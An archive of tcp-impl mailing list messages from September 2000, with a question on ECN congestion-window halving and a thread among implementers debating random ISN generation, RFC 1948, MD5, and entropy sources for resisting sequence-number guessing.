From owner-tcp-impl@lerc.nasa.gov Wed Sep 6 10:22:23 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA13205 for ; Wed, 6 Sep 2000 10:22:23 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id HAA03500 for tcp-impl-outgoing; Wed, 6 Sep 2000 07:42:25 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id HAA03459 for ; Wed, 6 Sep 2000 07:42:22 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id HAA23893; Wed, 6 Sep 2000 07:42:21 -0400 Received: from solen.ce.chalmers.se(129.16.20.244) by seraph3.lerc.nasa.gov via smap (V5.5) id xma023222; Wed, 6 Sep 00 07:41:22 -0400 Received: from blomman13.ce.chalmers.se (blomman13.ce.chalmers.se [129.16.21.43]) by solen.ce.chalmers.se (8.8.8/8.8.8) with ESMTP id NAA10803; Wed, 6 Sep 2000 13:41:12 +0200 (MEST) Received: (from otel@localhost) by blomman13.ce.chalmers.se (8.8.8/8.8.8) id NAA01417; Wed, 6 Sep 2000 13:41:12 +0200 (MEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14774.11608.573126.363149@blomman13.ce.chalmers.se> Date: Wed, 6 Sep 2000 13:41:12 +0200 (MEST) From: Florian-Daniel Otel To: floyd@aciri.org, kkrama@research.att.com Cc: end2end-interest@ISI.EDU, tcp-impl@grc.nasa.gov, otel@ce.chalmers.se Subject: ECN (RFC2481) question X-Mailer: VM 6.72 under 21.1 (patch 10) "Capitol Reef" XEmacs Lucid Reply-To: Florian-Daniel Otel Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Content-Transfer-Encoding: 7bit Dear all, I have a question regarding the ECN as specified in RFC2481. In Section 5, page 4 it is stated that: [..] we do not recommend such behavior as the slow-start of Tahoe TCP in response to a packet drop, or Reno TCP's wait of roughly half a round-trip time during Fast Recovery [..] The problem I have w/ it is that, as stated in section 6.1.2, the sender will half its cwnd (and set ssthresh) upon the receipt of an ECN-Echo ACK. But assuming that ACK-clocking was running and we didn't have any losses in the last RTT we have a full cwnd of data outstanding at the time we receive this ECN-Echo ACK. By halving the cwnd we still have to wait half a RTT (alternatively: wait for enough ACKs accounting for half of cwnd of data to arrive to decrease the amount of outstanding data to cwnd/2) before the sender is allowed to transmit more data. With many thanks, Florian. P.S: Maybe that I am wrong, but my reasoning behind "Reno was to wait half a RTT before sending more" data was similar (though in a different situation): We had to inflate cwnd back to at least its original size (i.e. when loss was signaled e.g. by 3 dup ACKs) before transmitting anything new and that meant waiting cwnd/2 worth of dup ACKs <=> half a RTT. From owner-tcp-impl@lerc.nasa.gov Sat Sep 16 01:12:02 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA01236 for ; Sat, 16 Sep 2000 01:12:02 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id WAA24303 for tcp-impl-outgoing; Fri, 15 Sep 2000 22:18:54 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id WAA24283 for ; Fri, 15 Sep 2000 22:18:51 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id WAA21888; Fri, 15 Sep 2000 22:18:50 -0400 Received: from jindo.cisco.com(171.69.11.73) by seraph3.lerc.nasa.gov via smap (V5.5) id xma021861; Fri, 15 Sep 00 22:18:45 -0400 Received: (from mynam@localhost) by jindo.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) id RAA22029 for tcp-impl@grc.nasa.gov; Fri, 15 Sep 2000 17:17:17 -0700 (PDT) Date: Fri, 15 Sep 2000 17:17:17 -0700 (PDT) From: Satish Mynam Message-Id: <200009160017.RAA22029@jindo.cisco.com> To: tcp-impl@grc.nasa.gov Subject: Calculations of ISN for new TCP sessions Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-MD5: ZKo+VEmFujviGIbWwcJ1Lw== Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Content-Transfer-Encoding: 7bit Hi, I was just wondering about many of the TCP implementations are using a random number generator for the Initial Sequence Number(ISN) generation for the new TCP connections. Most of the implementations (in the past) have been using the clock value in micro seconds to generate the ISN. I was looking at the NetBSD code at which was using a random number generator function random() to generate the ISN. Some older implementations are still using the clock() value. Does any of the RFCs specify which is the correct method to use for ISN? I was going through some RFC but have'nt found much on this subject. Personally I feel, random number generation of the ISN is better (if we choose a better random number generator) as it will be difficult to predict the sequence numbers of the new TCP sessions. This prevents any intruder attacks (who is guessing the sequence number) difficult to take over the TCP session(in case of ISN attacks). Any comments? Thank You, Satish From owner-tcp-impl@lerc.nasa.gov Sat Sep 16 02:44:55 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA12896 for ; Sat, 16 Sep 2000 02:44:54 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id AAA06816 for tcp-impl-outgoing; Sat, 16 Sep 2000 00:29:42 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id AAA06789 for ; Sat, 16 Sep 2000 00:29:39 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id AAA13955; Sat, 16 Sep 2000 00:29:36 -0400 Received: from calcite.rhyolite.com(38.159.140.3) by seraph3.lerc.nasa.gov via smap (V5.5) id xma013848; Sat, 16 Sep 00 00:28:45 -0400 Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.0/8.11.0) id e8G4SfT15409 env-from ; Fri, 15 Sep 2000 22:28:41 -0600 (MDT) Date: Fri, 15 Sep 2000 22:28:41 -0600 (MDT) From: Vernon Schryver Message-Id: <200009160428.e8G4SfT15409@calcite.rhyolite.com> To: mynam@cisco.com, tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk > From: Satish Mynam > To: tcp-impl@grc.nasa.gov > I was just wondering about many of the TCP implementations are using > a random number generator for the Initial Sequence Number(ISN) > generation for the new TCP connections. Most of the implementations > (in the past) have been using the clock value in micro seconds to > generate the ISN. How do you figure "most implementations" were doing that or similar? It's awfully hard to make any statement about "most TCP implementations." Some code I wrote at a previous employer did something like that but somewhat better...when the hardware had microsecond or nanosecond resolution. Judging from customers using bogus test packages, RFC 1948 support is a global checklist item, which is to say that anyone who wants to compete supports RFC 1948. I say those test packages are bogus because they detect situations where initial sequence #'s are predictable on high speed LAN's but unpredictable in situations where initial sequence number predicting is a real threat (i.e. WAN's). I also do not believe they detect all predictable sequence numbers in situations where it is a valid concern. For example, if you have bad guys on your LAN's, you ought to worry about cleartext passwords for telnet, ftp, rlogin, and most Microsoft protocols first. My realism/cynicism is moot, because many people use the tests or RFC 1948 support as checklist items. > ... > Personally I feel, ... S. Bellovin's discussion of the issues in RFC 1948 is good, except that his discussion of the costs of MD5 hashing are dated. CPU's are fast enough that the cost of MD5 rarely matters. I don't agree that MD5 hashes of secrets are always required....not that he says that, but that's what the test authors tell their customers. Vernon Schryver vjs@rhyolite.com From owner-tcp-impl@lerc.nasa.gov Sat Sep 16 07:19:23 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA14117 for ; Sat, 16 Sep 2000 07:19:19 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id FAA24241 for tcp-impl-outgoing; Sat, 16 Sep 2000 05:05:59 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id FAA24231 for ; Sat, 16 Sep 2000 05:05:58 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id FAA09163; Sat, 16 Sep 2000 05:05:58 -0400 Received: from lightning.swansea.uk.linux.org(194.168.151.1) by seraph3.lerc.nasa.gov via smap (V5.5) id xma009094; Sat, 16 Sep 00 05:05:00 -0400 Received: from alan by the-village.bc.nu with local (Exim 2.12 #1) id 13aDnP-0000lc-00; Sat, 16 Sep 2000 09:58:03 +0100 Subject: Re: Calculations of ISN for new TCP sessions To: mynam@cisco.com (Satish Mynam) Date: Sat, 16 Sep 2000 09:58:01 +0100 (BST) Cc: tcp-impl@grc.nasa.gov In-Reply-To: <200009160017.RAA22029@jindo.cisco.com> from "Satish Mynam" at Sep 15, 2000 05:17:17 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: From: Alan Cox Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Content-Transfer-Encoding: 7bit > Does any of the RFCs specify which is the correct method to use for > ISN? I was going through some RFC but have'nt found much on this > subject. RFC793 says it has to be a clock of some sort. RFC1122 allows the BSD shortened time wait hack which pretty much needs a clock > predict the sequence numbers of the new TCP sessions. This prevents > any intruder attacks (who is guessing the sequence number) difficult > to take over the TCP session(in case of ISN attacks). Its possible to construct an ip address dependant clock for each target From owner-tcp-impl@lerc.nasa.gov Sat Sep 16 07:19:35 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA14134 for ; Sat, 16 Sep 2000 07:19:34 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id FAA25281 for tcp-impl-outgoing; Sat, 16 Sep 2000 05:34:01 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id FAA25274 for ; Sat, 16 Sep 2000 05:33:59 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id FAA11035; Sat, 16 Sep 2000 05:33:58 -0400 Received: from lightning.swansea.uk.linux.org(194.168.151.1) by seraph3.lerc.nasa.gov via smap (V5.5) id xma011021; Sat, 16 Sep 00 05:33:50 -0400 Received: from alan by the-village.bc.nu with local (Exim 2.12 #1) id 13aEEy-0000pB-00; Sat, 16 Sep 2000 10:26:33 +0100 Subject: Re: Calculations of ISN for new TCP sessions To: vjs@calcite.rhyolite.com (Vernon Schryver) Date: Sat, 16 Sep 2000 10:26:31 +0100 (BST) Cc: mynam@cisco.com, tcp-impl@grc.nasa.gov In-Reply-To: <200009160428.e8G4SfT15409@calcite.rhyolite.com> from "Vernon Schryver" at Sep 15, 2000 10:28:41 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: From: Alan Cox Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Content-Transfer-Encoding: 7bit > S. Bellovin's discussion of the issues in RFC 1948 is good, except that > his discussion of the costs of MD5 hashing are dated. CPU's are fast > enough that the cost of MD5 rarely matters. > I don't agree that MD5 hashes of secrets are always required....not > that he says that, but that's what the test authors tell their customers. Im not a cryptographer but Im being told MD5 should not be used by people who are, and that people have found MD5 weaknesses that are not (yet) apparent in SHA Are people still using MD5 ? Alan From owner-tcp-impl@lerc.nasa.gov Sat Sep 16 11:33:20 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA15465 for ; Sat, 16 Sep 2000 11:33:16 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id JAA05093 for tcp-impl-outgoing; Sat, 16 Sep 2000 09:23:10 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id JAA05085 for ; Sat, 16 Sep 2000 09:23:09 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id JAA04978; Sat, 16 Sep 2000 09:23:08 -0400 Received: from calcite.rhyolite.com(38.159.140.3) by seraph3.lerc.nasa.gov via smap (V5.5) id xma004894; Sat, 16 Sep 00 09:22:35 -0400 Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.0/8.11.0) id e8GDMX124053 for tcp-impl@grc.nasa.gov env-from ; Sat, 16 Sep 2000 07:22:33 -0600 (MDT) Date: Sat, 16 Sep 2000 07:22:33 -0600 (MDT) From: Vernon Schryver Message-Id: <200009161322.e8GDMX124053@calcite.rhyolite.com> To: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk > From: Alan Cox > Im not a cryptographer but Im being told MD5 should not be used by people > who are, and that people have found MD5 weaknesses that are not (yet) apparent > in SHA You should check the credentials of your cryptographers or your understanding of what they said. Even more than "computer expert," people like to affect cryptographic expertise based on their need to be respected by their fellows down at the pub, or to sell "computer security" snake oil to people affecting computer expertise. I don't claim to be a cryptographer, but my understanding is that the known weakness (singular, not plural) in MD5 would not be useful for a bad guy in this situation, where the bad guy does not know the value that is being hashed. Even in situations where in theory the weakness matters, when the bad guy is trying to construct a second message that has the same MD5 hash value as a known, first message, it is completely useless in practice. The known weakness only makes people worry that someone might know a secret way to compute a second message with the given MD5 hash value of another message, thereby forging a digital signature to the second message. Note also that MD5 is not MD4, MD2, CRC-32, or other hashes that have bad reputations for cryptographic applications. > Are people still using MD5 ? Yes, for PPP CHAP and many other things with vastly stronger requirements than merely making it impractical to guess initial TCP sequence numbers. That's not to say that if you need a digital signature, SHA is not a good and perhaps better choice. However, we are not talking about digital signatures. Vernon Schryver vjs@rhyolite.com From owner-tcp-impl@lerc.nasa.gov Sat Sep 16 16:05:36 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA16870 for ; Sat, 16 Sep 2000 16:05:36 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id NAA17330 for tcp-impl-outgoing; Sat, 16 Sep 2000 13:54:23 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id NAA17320 for ; Sat, 16 Sep 2000 13:54:22 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id NAA12424; Sat, 16 Sep 2000 13:54:22 -0400 Received: from laurin.munich.netsurf.de(194.64.166.1) by seraph3.lerc.nasa.gov via smap (V5.5) id xma012335; Sat, 16 Sep 00 13:53:28 -0400 Received: from fred.muc.de (noidentity@ns1156.munich.netsurf.de [195.180.235.156]) by laurin.munich.netsurf.de (8.9.3/8.9.3) with ESMTP id TAA01789; Sat, 16 Sep 2000 19:52:50 +0200 (MET DST) Received: by fred.muc.de (Postfix, from userid 500) id EF046E38DF; Sat, 16 Sep 2000 19:56:01 +0200 (CEST) Date: Sat, 16 Sep 2000 19:56:01 +0200 From: Andi Kleen To: Vernon Schryver Cc: mynam@cisco.com, tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions Message-ID: <20000916195601.A12663@fred.muc.de> References: <200009160428.e8G4SfT15409@calcite.rhyolite.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200009160428.e8G4SfT15409@calcite.rhyolite.com>; from vjs@calcite.rhyolite.com on Sat, Sep 16, 2000 at 08:53:00AM +0200 Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk On Sat, Sep 16, 2000 at 08:53:00AM +0200, Vernon Schryver wrote: > > ... > > Personally I feel, ... > > S. Bellovin's discussion of the issues in RFC 1948 is good, except that > his discussion of the costs of MD5 hashing are dated. CPU's are fast > enough that the cost of MD5 rarely matters. > I don't agree that MD5 hashes of secrets are always required....not > that he says that, but that's what the test authors tell their customers. There are much easier ways to attack the ISN computation in most OS anyways than attacking MD5: you attack the secret generation. On diskless devices you can usually just find out the initial secret because they have no easy way to restore the entry pool of the random generator from disk. Unless the vendors implemented a hardware random generator the secret should be not too hard to guess. [The rest of the discussion is primarily about Linux's /dev/random device because I know its implementation, but I believe similar issues apply to /dev/random equivalents on other OS] On many non diskless systems the entropy pool of /dev/random is restored from disk _after_ the first TCP connection, which makes similar guesses possible [Linux fetches the secret for the first few minutes on the first connection] The amount of entropy gathered during bootup is usually very small and rather predictible (unless the users moves the mouse, which is usually not the case on a firewall in a rack). The only source of randomness before the random pool is restored are the CPU time stamp measurements of the ide disk interrupt. Although there are some variances you can make some good guesses of the end result when the disk/hardware configuration is known (e.g. the case with many ready configured "firewall appliances" or just using the default OS installation of the vendor) Even when the bug of doing TCP before the entropy pool restoring is fixed there are still some vunerabilities, because many firewalls etc. do never any disk io (assuming a separate log server) and never get keyboard/mouse input. This means that the entropy pool stays pretty constant over time and the window of vunerability after boot time extends over the whole uptime. As soon as you can guess the entropy pool you can guess the secret and attacking the ISN is trivial. -Andi From owner-tcp-impl@lerc.nasa.gov Sat Sep 16 16:10:31 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA16927 for ; Sat, 16 Sep 2000 16:10:31 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id OAA18377 for tcp-impl-outgoing; Sat, 16 Sep 2000 14:19:26 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id OAA18367 for ; Sat, 16 Sep 2000 14:19:24 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id OAA15792; Sat, 16 Sep 2000 14:19:23 -0400 Received: from calcite.rhyolite.com(38.159.140.3) by seraph3.lerc.nasa.gov via smap (V5.5) id xma015761; Sat, 16 Sep 00 14:19:03 -0400 Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.0/8.11.0) id e8GIJ2u29202 for tcp-impl@grc.nasa.gov env-from ; Sat, 16 Sep 2000 12:19:02 -0600 (MDT) Date: Sat, 16 Sep 2000 12:19:02 -0600 (MDT) From: Vernon Schryver Message-Id: <200009161819.e8GIJ2u29202@calcite.rhyolite.com> To: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk > From: Andi Kleen > ... > > I don't agree that MD5 hashes of secrets are always required....not > > that he says that, but that's what the test authors tell their customers. > > There are much easier ways to attack the ISN computation in most OS > anyways than attacking MD5: you attack the secret generation. > > On diskless devices you can usually just find out the initial secret because > ... Yes, if the bad guy knows what you're feeding MD5 or SHA, then using them is a waste of CPU cycles. That's why I think - the products that claim to detect predictable ISN's are snake oil and frauds, because they have both false positives and false negatives. - in addition to (or even instead of) a static secret that you feed to MD5, you should use something that even the host cannot know in advance, such as a fine granularity real time clock. It's also nice to throw into the pot things with at least some bits of entropy such as the memory addresses of TSP's and buffers containing packets such as the SYN. > ... > As soon as you can guess the entropy pool you can guess the secret and > attacking the ISN is trivial. and so the trick is to find sufficient entropy with which to generate the ISN. On a 10 MHz Ethernet, packets (including the SYN) arrive with milliseconds of jitter and so more entropy than you can use for the ISN, provided you have a clock that ticks microseconds or better. You still need MD5 to meet the checklists. MD5 is handy and now fast enough for mixing whatever you have, including configured secrets, entropy from disk spindles, clocks, and buffer addresses. Vernon Schryver vjs@rhyolite.com From owner-tcp-impl@lerc.nasa.gov Sun Sep 17 12:52:47 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA10316 for ; Sun, 17 Sep 2000 12:52:47 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id KAA09122 for tcp-impl-outgoing; Sun, 17 Sep 2000 10:37:22 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id KAA09118 for ; Sun, 17 Sep 2000 10:37:21 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id KAA08335; Sun, 17 Sep 2000 10:37:20 -0400 Received: from laurin.munich.netsurf.de(194.64.166.1) by seraph3.lerc.nasa.gov via smap (V5.5) id xma008263; Sun, 17 Sep 00 10:36:34 -0400 Received: from fred.muc.de (noidentity@ns1248.munich.netsurf.de [195.180.235.248]) by laurin.munich.netsurf.de (8.9.3/8.9.3) with ESMTP id QAA25703; Sun, 17 Sep 2000 16:36:27 +0200 (MET DST) Received: by fred.muc.de (Postfix, from userid 500) id 28CF0E3911; Sun, 17 Sep 2000 16:38:34 +0200 (CEST) Date: Sun, 17 Sep 2000 16:38:34 +0200 From: Andi Kleen To: Vernon Schryver Cc: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions Message-ID: <20000917163834.A418@fred.muc.de> References: <200009161819.e8GIJ2u29202@calcite.rhyolite.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200009161819.e8GIJ2u29202@calcite.rhyolite.com>; from vjs@calcite.rhyolite.com on Sat, Sep 16, 2000 at 10:18:25PM +0200 Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk On Sat, Sep 16, 2000 at 10:18:25PM +0200, Vernon Schryver wrote: > - in addition to (or even instead of) a static secret that you feed to > MD5, you should use something that even the host cannot know in advance, > such as a fine granularity real time clock. It's also nice to throw > into the pot things with at least some bits of entropy such as the > memory addresses of TSP's and buffers containing packets such as the SYN. At least on Linux hashing the addresses of packets in would not help very much: A SYN data payload is <= 64bytes, so it would always end up in the same zone of the zone allocator. For 64byte allocations there are only a few pages in that zone, which are predictable. Brute forcing the possible addresses in the zone is quite possible (only a few thousand candidates) For the brute force attack you only need the ISN of a single SYN. > On a 10 MHz Ethernet, packets (including the SYN) arrive with milliseconds > of jitter and so more entropy than you can use for the ISN, provided you > have a clock that ticks microseconds or better. iirc that was proposed but rejected because it could possible allow an attacker with a sniffer on your local ethernet to maintain a copy of your entropy pool. -Andi From owner-tcp-impl@lerc.nasa.gov Sun Sep 17 14:42:24 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA10754 for ; Sun, 17 Sep 2000 14:42:23 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id MAA16267 for tcp-impl-outgoing; Sun, 17 Sep 2000 12:47:31 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id MAA16243 for ; Sun, 17 Sep 2000 12:47:28 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id MAA24417; Sun, 17 Sep 2000 12:47:27 -0400 Received: from calcite.rhyolite.com(38.159.140.3) by seraph3.lerc.nasa.gov via smap (V5.5) id xma024356; Sun, 17 Sep 00 12:46:57 -0400 Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.0/8.11.0) id e8HGkt420858 for tcp-impl@grc.nasa.gov env-from ; Sun, 17 Sep 2000 10:46:55 -0600 (MDT) Date: Sun, 17 Sep 2000 10:46:55 -0600 (MDT) From: Vernon Schryver Message-Id: <200009171646.e8HGkt420858@calcite.rhyolite.com> To: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk > From: Andi Kleen > > - in addition to (or even instead of) a static secret that you feed to > > MD5, you should use something that even the host cannot know in advance, > > such as a fine granularity real time clock. It's also nice to throw > > into the pot things with at least some bits of entropy such as the > > memory addresses of TSP's and buffers containing packets such as the SYN. > > At least on Linux hashing the addresses of packets in would not help very > much: A SYN data payload is <= 64bytes, so it would always end up in the > same zone of the zone allocator. For 64byte allocations there are only a few > pages in that zone, which are predictable. Brute forcing the possible > addresses in the zone is quite possible (only a few thousand candidates) > For the brute force attack you only need the ISN of a single SYN. I don't understand what is meant there. "Brute force" here does not mean the same as when you are searching for a key. The ISN attacker gets only a single guess for each initial sequence number attack. If there are a few thousand possible addresses for the buffer containing the SYN and if the probability of the SYN landing in each buffer is uniform (yes, probably false, but the reality is probably as good), then no matter how many times the bad guy tries, the odds for each try are 1 in several thousand. I did not say to use only the buffer address, but to let it contribute its bits of entropy to the stew. You cannot randomize the entire 32-bits of the ISN. The bits in the ISN that you can make random are only about 16, assuming you value the robustness of ensuring connection retries don't have overlapping windows. I think that in real life, that last is a vastly bigger worry than bad guys guessing ISN's, since you've doubtless turned off .rhosts. Thus, no matter what you do, the odds of any single ISN attack working are no worse than 1 in perhaps 100,000. Because of the birthday paradox, the bad guy can expect to succeed after about the square root of number of bits you can randomize in the ISN. Odds of 1 in 100,000 are about the same as 1 in several 1000, because even with 1:100,000, the bad guy can expect to succed once in every 300 or 400 tries. > > On a 10 MHz Ethernet, packets (including the SYN) arrive with milliseconds > > of jitter and so more entropy than you can use for the ISN, provided you > > have a clock that ticks microseconds or better. > > iirc that was proposed but rejected because it could possible allow an > attacker with a sniffer on your local ethernet to maintain a copy of your > entropy pool. "Proposed but rejected" by whom and with what authority over other competent designers? I doubt whoever rejected it understood the natures of local ethernets, sniffers, clocks, local Ethernets, and pools of entropy. As I said before, if you have to worry about ISN's on your LAN, then you're dead. 1. even if you completely randomize the ISN, a local bad guy can win with only 32,000 tries because of the birthday paradox, and on a local LAN, 32,000 tries is not a problem. 2. local Ethernets have far worse security problems than ISN guessing. The wise person ignores ISN guessing on LAN's. 3. the arrival time of a packet at one Ethernet station (e.g. the sniffer) differs from the arrival time at any other station by a difficult to predict amount that as much as a slot time or 64 microseconds. 4. even if the bad guy knows the propagation delay to the target, the target's clock will jitter due to interrupt latency and even noise in the clock (see NTP discussions) by at least a few bits at microsecond resolutions and lots of bits at nanosecond resolutions. (I guess with GHz 80*86's, even PC's can hope to have nanosecond clocks.) 5. then there are bridges (i.e. "switches") that randomize transmission delays in Ethernets. 100 MHz Ethernet packets have less absolute jitter due to CSMA/CD, but more bridges to increase queuing noise. 7. the trick in any entropy pool situation, including this one and /dev/random, is not finding a single perfect source of true randomness (never mind the nonsense in "true randomness"), but to find enough entropy from enough sources. Even the arrival times of Ethernet packets contains only 5 or 6 bits of entropy, those 5 or 6 bits are valuable. Vernon Schryver vjs@rhyolite.com From owner-tcp-impl@lerc.nasa.gov Sun Sep 17 18:04:56 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA11928 for ; Sun, 17 Sep 2000 18:04:55 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id QAA27864 for tcp-impl-outgoing; Sun, 17 Sep 2000 16:12:44 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id QAA27858 for ; Sun, 17 Sep 2000 16:12:43 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id QAA17581; Sun, 17 Sep 2000 16:12:42 -0400 Received: from p101-44.acedsl.com(160.79.101.44) by seraph3.lerc.nasa.gov via smap (V5.5) id xma017471; Sun, 17 Sep 00 16:11:57 -0400 Received: (from barney@localhost) by mx.databus.com (8.9.3/8.9.3) id QAA48524; Sun, 17 Sep 2000 16:11:21 -0400 (EDT) (envelope-from barney) Date: Sun, 17 Sep 2000 16:11:21 -0400 From: Barney Wolff To: Vernon Schryver Cc: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions Message-ID: <20000917161121.A48486@mx.databus.com> References: <200009171646.e8HGkt420858@calcite.rhyolite.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200009171646.e8HGkt420858@calcite.rhyolite.com>; from vjs@calcite.rhyolite.com on Sun, Sep 17, 2000 at 